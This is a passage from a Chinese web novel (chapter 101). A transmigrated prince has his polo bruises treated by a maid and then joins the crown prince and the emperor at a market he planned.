他哪有什么对敌经验?就算有那么一点,也不过是靠着原身留下的老本罢了。
“那也不能往死里抽啊,这是马球比赛,比的是谁进球多,又不是比谁抽人多,”萧恒不满地抱怨。
太子笑了笑:“老一辈打马球都是这个玩法,他们觉得手中的球杆就是武器,打在人身上也是一种削弱对方战斗力的方式。”
“你若不服,找他们理论去呗。”
“当然,前提是你能说得通。”
萧恒又翻了个白眼,能说得通那才真是见鬼了。
“走吧,找父皇去,这里毕竟是你的主场,今日你还是跟在父皇身边,若是父皇问起什么,你也好亲自解答,”太子说道。
“嗯,好。”
萧恒点了点头。
三福站在一旁,手中捧着一个小瓷瓶,犹豫片刻后开口道:“太子殿下,可否容奴才先为我家殿下上药?”
“上了药再去寻陛下,耽误不了多少时间。”
“可以,上个药的功夫,耽误不了什么事,”太子温和地说道。
萧恒反倒推辞:“算了,都是些淤伤,就算不上药,几天也就好了,还是先去寻父皇吧。”
“这里人多眼杂的,跟在父皇身边,安心一些。”
“殿下,要不还是先上药吧。”
三福恳切地说:“太子爷也说了,就上个药的功夫,耽误不了多少时间。”
“陛下身边护卫众多,不差这一时半刻。”
“但奴才看着殿下身上的伤,心里难受的很。”
三福眼眶泛红,声音哽咽。
萧恒瞥了三福一眼,心想至于这么夸张吗?
太子摆了摆手:“去吧,先上药,难得这奴才有这份体贴心意。”
太子既然发话了,萧恒也不好再推辞:“行吧,那皇兄你先去寻父皇,臣弟上了药后,马上来寻皇兄与父皇。”
“行。”太子点了点头:“去吧。”
第101章:轻点……疼
场地边缘设有专供各球队临时休息的休息间,萧恒随意推开其中一间的门扇,走了进去。
褪下沾染尘土的衣服,精壮结实的身躯霎时显露在微凉的空气里。
这一身肌肉线条倒是要感谢原主,原主虽是个话本里的炮灰男二,但皮相骨相皆是上乘,尤其这副经年锤炼的体魄,更是堪称完美。
自萧恒穿越而来,虽说性子惫懒了不少,却也未曾彻底荒废锻炼,因而这一身紧实漂亮的腱子肉并未消退,依旧流畅而富有力量感。
此刻衣衫尽褪,肌理分明的线条一览无余,只可惜,那满背纵横交错的青紫淤痕,破坏了整体的美感,显得格外刺目。
“嘶……”青禾指尖蘸了清凉的药膏,刚轻轻触上那片淤伤。
预想中的舒缓并未到来,取而代之的是尖锐的刺痛,让萧恒控制不住地倒吸一口冷气。
青禾闻声,手指如受惊般猛地缩回,神色惶急:“殿下恕罪,可是奴婢手太重了?”
侍立一旁的三福见状,脸色骤变,立时出声呵斥:“没规矩的丫头,下手怎如此不知轻重。”
随即转向萧恒,躬身谄媚道:“殿下,还是让奴才来为您上药吧。”
“不必,”萧恒随意摆了摆手,声音里带着点忍耐的沙哑:“不怪她,继续。”
“那……奴婢继续了,定再轻些,殿下且忍一忍。”
青禾低声应着,再次小心翼翼地探出手。
青禾一边将药膏重新揉开,一边柔声劝慰:“殿下若是实在疼得厉害,不妨哼出声来,兴许能舒坦些许。”
青禾的力道已然放得极轻,那纤柔指尖在后背缓缓游走、按摩,若在平日,定是难得的享受。
可此刻,却只剩下一波接着一波,尖锐的刺痛感。
整个过程,萧恒痛得龇牙咧嘴,一口接一口地抽着凉气。
心中早已将梁帝埋怨了无数遍:老爷子下手也忒狠了。
这背上密密麻麻的淤青,哪一道不是他御鞭的杰作?
先前在场上,萧恒是有苦说不出,除了格挡招架,压根不敢有半分反击的念头。
梁帝虽说了场上需要将其视同敌手,可谁真敢把皇帝当敌人,抡圆了球杆抽回去?
伴君如伴虎,萧恒自问没那个胆量,只能硬着头皮当了回活靶子。
“青禾,你轻着点……再轻点啊。”
三福在一旁看得心惊肉跳,不住声地念叨。
“殿下万金之躯,哪经得起这般力道?”
“轻点……再轻点!”
三福眼眶泛红,几次三番想上前接手:“殿下,还是让奴才来吧。”
“一边老实待着去,”萧恒扭头瞪了三福一眼:“一个大男人,受伤的是本王又不是你,哭哭啼啼像什么样子?”
“这点皮肉小伤,养几天便好了,至于么?”
“哦呦——嘶……!”话音未落,又是一阵刺痛袭来,让萧恒再度吸了口凉气。
这下,三福的眼泪彻底掉了下来。
带着哭腔,轻声唤道,脸上写满了心疼:“殿下……”
青禾的手应声又是一颤,迅速收回,语带自责:“殿下恕罪,奴婢又失手了。”
“无碍,不关你的事,”萧恒缓了口气,温声道:“继续上药吧。”
目光扫过泫然欲泣的三福,萧恒心中掠过一丝无奈的感慨。
难怪蓝星历史上,宦官乱政之事屡见不鲜。
似三福这般常年随侍在侧的人,事事以你为先,照料得无微不至。
你若受了伤,他比你自己还要紧张焦急。
一次两次,或许只觉得他小题大做,甚至厌烦他演技浮夸。
可若几十年如一日,皆是如此呢?
一个陪伴你大半生,对你一切习惯了如指掌的老人,一旦生出异心,想做些什么,简直是易如反掌。
更要命的是,面对这等贴心贴肺的身边人,即便他真的做了错事,被人揭发,你第一反应恐怕也是不信。
纵使信了,多半也狠不下心施以重罚。
青禾继续着手上的动作,三福则全程紧绷着脸,目不转睛地盯着,仿佛那每一分疼痛都落在自己身上。
但直至最后,萧恒也未曾让三福接手。
身边既有青禾这般秀色可餐、可咸可甜的美貌侍女在侧,若让三福一个大男人在自己背上揉揉搓搓……
那画面,萧恒光是想想,便觉得难以接受。
药终于上完,青禾细致地替萧恒重新穿好衣裳。
萧恒习惯性地出言逗弄了青禾一句,惹得青禾双颊飞红。
萧恒这才畅快大笑,举步走出了休息室。
“皇兄,皇嫂?你们怎么还在此处,未去寻父皇?”
萧恒刚踏出休息室,便瞧见太子与太子妃仍驻足在场边,正观赏着场中上演的一出戏曲。
这个世界的戏曲,与蓝星上的大同小异,皆是唱念做打,精彩纷呈,也同样是豪门贵胄才时常享有的消遣。
今日这般盛大的开幕式,自然少不了这雅俗共赏的节目。
“药上好了?”太子闻声转过身来,面色平和地问道。
太子妃唇角含着一抹浅淡笑意,接过话头:“本是要去
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寻父皇的,但太子说,左右也耽搁不了多少工夫,不如等你一同前去。”
“免得前后脚分开觐见,倒让有心人看了,凭空揣测,生出些不必要的闲话来。”
“还是皇兄思虑周全,”萧恒闻言点头称是。
“走吧,”太子接口道:“方才护卫来报,父皇已然离席,似乎准备摆驾回宫了。”
“若在父皇启程前,你我还未前去行礼问安,便是失仪,回头少不了又被御史台那帮言官揪住,奏本**。”
萧恒听罢,浑不在意地笑了笑:“**之事,臣弟如今早已**以为常,左不过听几句训斥,又不会掉块肉,无妨。”
“孤亦然,早已习惯了,”太子亦随之哈哈一笑。
“你二人就在这儿贫嘴吧,待父皇真动怒训斥时,怎不见你们敢顶撞半句?”
太子妃没好气地白了兄弟俩一眼,率先迈步,朝前走去。
“咦?父皇尚未启程回宫。”
三人行至停车场,只见梁帝那架专属的辉煌皇驾仍稳稳停驻原处,四周仅有数十名禁军肃立护卫。
却不见梁帝身影,亦无其他随行官员簇拥,想来是圣驾移步,去了别处。
“太子殿下,”一名留守此地的官员急忙小跑上前,恭敬禀报。
“陛下圣驾往那边闹市方向去了。”
“嗯。”太子微微颔首。
三人随即循着官员所指的方向,快步追寻梁帝而去。
“父皇。”
不多时,三人便追上了梁帝一行。
此刻,梁帝正被一众官员簇拥着,漫步在临时搭建的闹市之中,颇有兴致地打量着街道两旁琳琅满目的摊位与叫卖的商贩。
“来了。”
梁帝目光扫过三人,语气平淡自然。
随即,梁帝视线落在萧恒身上,问道:“这市集的规划布置,皆出自你手?”
萧恒恭敬回话:“回父皇,儿臣只是提出了一个初步构想与大体框架。”
“其间诸多细节,乃至具体布置,皆是手下之人与各司官员协力填充、丰富完善的。”
萧恒此言一出,远远跟在队伍末尾的几名官员顿时眼睛一亮,目光中充满了感激之情,不约而同地望向萧恒。
他们正是此番负责筹办这临时闹市的具体官员,虽大多只是品阶低微的小官,甚至不乏未入品秩的小吏。
然而,谁人不渴望能在皇帝心中留下一丝半点的好印象?
且不论日后升迁,单是同僚之间谈及此事,那一份足以引以为傲的资本,便已厚重了许多。
不是吗?